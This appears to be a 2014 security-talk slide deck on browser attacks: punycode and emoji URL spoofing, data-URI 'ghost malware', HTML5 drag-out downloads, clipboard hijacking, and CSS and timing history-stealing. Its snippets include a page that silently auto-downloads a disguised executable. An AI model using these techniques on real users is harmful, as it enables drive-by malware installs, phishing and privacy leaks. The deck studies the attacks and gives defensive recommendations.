THINGS YOUR BROWSER NEVER TOLD YOU

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AGENDA

Proceed with caution:

- XSS Filter Bypass
- Data URI Ghost Malware
- History Stealing Revisited
- Modern Login Detection
- HTML5 Drag-Out Madness
- URL address bar spoofing
- Clipboard Stealing
BREAKING NEWS
UNICODE 7.0 INTRODUCES 250 NEW EMOJI
Punycode Syntax Spoofing

- Punycode is a encoding syntax by which a Unicode (UTF-8) string of characters can be translated into the basic ASCII-characters permitted in network host names.
- Used for internationalized domain names (IDN)
- Spoofing syntax characters can be even worse than regular characters. For example, U+2044 (⁄) FRACTION SLASH can look like a regular ASCII '/' in many fonts
- Ideally the spacing and angle are sufficiently different to distinguish these characters. However, this is not always the case.
- See: http://homoglyphs.net/

<table>
<thead>
<tr>
<th>URL</th>
<th>Subzone</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://macchiato.com/x.bad.com">http://macchiato.com/x.bad.com</a></td>
<td>macchiato.com/x</td>
<td>bad.com</td>
</tr>
<tr>
<td><a href="http://macchiato.com#x.bad.com">http://macchiato.com#x.bad.com</a></td>
<td>macchiato.com#x</td>
<td>bad.com</td>
</tr>
</tbody>
</table>
Punycode

- angelo.prado@salesforce.com
From: Angelo Prado
To: Angel

XXX
October 17, 2014 at 2:42 AM

http://www.salesforce.com/

Safari cannot open the page because the server cannot be found.
Example:
http://paypal.xn--conlogin-c44gw21x.evil-hacker.com/
“We recognize that the address bar is the only reliable security indicator in modern browsers”

– Google Bug Bounty Program

"I think there is a profound and enduring beauty in simplicity. Our goal is to try to bring a calm and simplicity to what are incredibly complex problems so you're not aware really of the solution. “ – Jony Ive, Apple
What if… HTTP had emojis

Safari cannot open the page because the server cannot be found.
Safari cannot open the page because the server cannot be found.
aka: xn--microsoft-zr2f.com
Angelo Emoji Ventures is now the Proud Owner of Google.tk
Our next investment... Now Raising Series A!
BROWSER XSS FILTERS

<table>
<thead>
<tr>
<th>Bypassing the important stuff:</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓ They protect users (IE, Chrome) from vulnerable pages</td>
</tr>
<tr>
<td>✓ They aren’t that strong (no DOM-based/persistent)</td>
</tr>
<tr>
<td>✓ We can evade the reflected XSS protection under certain scenarios with a few tricks</td>
</tr>
</tbody>
</table>
Data URI + HTML5 = Ghost Malware

✓ Data is directly embedded into URI
✓ Format
  ✓ data:[<MIME-type>][;charset=<encoding>][;base64],<data>
✓ Example
  ✓ <img src="" alt="Red dot">
✓ Can we abuse it?
Data URI + HTML5 = Ghost Malware

✓ Wrap an executable in the Data URI
✓ The Problem
  ○ Can’t control filename and extension
  ○ File won’t execute until the victim changes its extension
HTML5 Download Attribute

- HTML5 allows us to control filename

- HTML5 standard 4.12.2 – Links created by `<a>` and `<area>` element
  - “The `download` attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource. The attribute may have a value; the value, if any, specifies the default file name that the author recommends for use in labeling the resource in a local file system...”

- Supported browser: Chrome, IE, Firefox
DATA URI – Craft the Payload

Where do we host this page?

```html
<html>
  <script
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
  <script>
    $(document).ready(function() {
      $('a#malicious')[0].click();
    });
  </script>
  <a id='malicious' style="display:none"
    href="data:application/application/x-msdownload;base64,iVBORw0KGgoAAAANS..."
    download="malicious.exe">Download</a>
</html>
```
DATA URI – Craft the Payload

- Let’s do the Data URI trick again...
  
  ```html
  data:text/html;charset=utf-8;base64,PGh0bWw+DQoNCjxoZWFkPg0KDQogIDxzY3JpcHQgc3JjPSJodHRwOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuOS4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0
  ```

- Paste that chunk of junk into any forum/website that allows user specified links
- Then you have a working malware that is
  - hosted nowhere
  - automatically downloaded
CAN WE DO BETTER?

- Well.. I have a small keyboard

  http://tinyurl.com/AdobePlayerUpdater
## DATA URI – Browser Support

<table>
<thead>
<tr>
<th></th>
<th>Redirection to Data URI</th>
<th>HTML5 “download” attribute</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Chrome</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Firefox</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Safari</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
DATA URI – Recommendations

✓ Browsers
  ○ Firefox and Chrome should prevent redirection to Data URI

✓ Users
  ○ Don’t click on anything you don’t trust
HTML5 Drag-Out Madness
Drag-Out // RFC

✓ NOT a RFC spec yet
✓ Only supported by Chrome
✓ Proposal on whatwg

✓ How secure is it?
Drag-Out // Mechanism

```javascript
someElement.addEventListener("dragstart", function(event) {
    event.dataTransfer.setData("DownloadURL", "application/pdf:article.pdf:http://example.com/someNameThatWillBeIgnored.pdf"), false);
```

✔ So you can specify a random URL and a filename to download to your computer?
Drag-Out // Attack

✓ Sweet spot to hide malicious executable
  ○ Hide the download URL under a draggable link, image or video
  ○ Unnoticeable even during drag-n-drop
  ○ Even worse – known extensions are hidden by default on Windows

✓ Example
  http://test.attacker-domain.com/html5dragout/dragout.html
Drag-Out // Recommendation

✔ Browsers should always warn users before letting them dropping out a file

✔ The warning message should clearly state the file type, and domain if possible
COCAINEx

SO MUCH COCAINE.
CLIPBOARD GONE WILD
When I go to a untrusted website

- Can it read secrets from the clipboard? (Secrecy)
- Can it write to the clipboard? (Integrity)
CLIPBOARD // IE’s ways

✓ clipboardData
✓ execCommand(“copy”)
✓ User get prompted for approval
Flash support access to clipboard
Works across browsers
Enabled by default for all browsers
No warning...
It probably works in other plugin technologies as well
Example
  ▪ http://www.steamdev.com/zclip/
JavaScript can be used to cheat users from believing they copied some text, but it something else instead:

- Detect keydown event of “cmd” or “ctrl” key
- Replace the textRange that user selected
- When user presses “C”, the attack controlled content is copied

Example:
Recommendations

✓ Browsers
  ▪ Disable Flash and other plugins by default

✓ Users
  ▪ Respect browser warnings
  ▪ Trust but verify the content copied from the browser
LOGIN & HISTORY SIDE CHANNELS

✓ Login Detection vs. History Stealing
PRETTY PURPLE COLORS

CSS History Stealing – Grossman, Jeremiah  (circa 2006)

```javascript
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");

if (color == "rgb(0, 0, 255)") {
    // evilness
}
```
PRETTY PURPLE COLORS

**FIXED** - Bugzilla 147777 - :visited support allows queries into global history

- “severely constraining the styling available from within the :visited selector, essentially letting you specify text color and not much more”
- “JavaScript API calls that query element styles behave as if a link is unvisited”
- “limited the visibility of the styled attributes through APIs such as window.getComputedStyle()”
« We have a long history of ignoring vulnerabilities that don’t yield complete breaks »
LOGIN & HISTORY SIDE CHANNELS

✔ Encrypted Response Size
  ○ Requires MITM (See: BREACH)

✔ Cross-Domain Image Size
  ○ Internet Explorer caches image size of known resources – even from InPrivate mode!!
  ○ Images that have not been loaded have a default 28x30 size prior to loading
  ○ We can examine .width and .height on cross-domain image/* resources, across tabs!
Event-Based Image Loading

- Script behind authentication
- Ideally a fixed URI that doesn’t require object enumeration
- We need different HTTP codes for Logged/Not-Logged
- i.e. default profile photo avatar
TIMING WITH HEAVY QUERIES

✓ Does not require an image behind authentication

○ Find servlet / page that takes more time to return than regular static resource – Search page, User List, etc.
○ Load it as IMG, STYLE, EMBED, IFRAME, SCRIPT, or CORS (even if not allowed)
○ Measure download time with onerror event (invalid cast)
○ Factor in bandwidth and round-trip
CSS WITH USER INTERACTION

From Michal Zalewski, Magnificent Bastard

- The CSS :visited pseudo-selector fix does not prevent attackers from extracting content by showing the user a set of hyperlinked snippets of text.
- These ‘shaped’ hyperlinks, depending on the browsing history, will blend with the background or remain visible on the screen.
- Visibility can be indirectly measured by seeing how the user interacts with the page, attack collects information without breaking immersion.
- This is done by alternating between "real" and "probe" asteroids. The real ones are always visible and are targeted at the spaceship; if you don't take them down, the game ends.
- The "probe" asteroids, which may or may not be visible to the user depending on browsing history, seem as if they are headed for the spaceship, too - but if not intercepted, they miss it by a whisker.
Day 37:

They still do not suspect
I am a mere cat.
requestAnimationFrame Timing

✓ The requestAnimationFrame JS API is a recent addition to browsers, designed to allow web pages to create smooth animations.

✓ A function will be called back just before the next frame is painted to screen: The callback function will be passed a timestamp parameter that tells it when it was called.

✓ You can calculate the frame rate of a web page by measuring time elapsed between each frame.

✓ Original research from Paul Stone

```javascript
var lastTime = 0;
function loop(time) {
  var delay = time - lastTime;
  var fps = 1000/delay;
  updateAnimation();
  requestAnimationFrame(loop);
  lastTime = time;
}
requestAnimationFrame(loop);
```
requestAnimationFrame Timing

- Why is this useful? You can **selectively** slow down :visited link rendering to **measure redraws**…
- Enter CSS3 **text-shadow**
  - Drop shadows
  - Glows
  - Embossing!!
  - Blur-radius!!!!

- DOM rendering time is **linearly proportional** to these values (But timing of redraws depends on hardware)
- Rendering must be **slow enough to time**, fast enough to probe several links (100+ urls/sec)
- **Bonus Points:** search engine URL address bar templates on iOS are static and **predictable**
Thank You!

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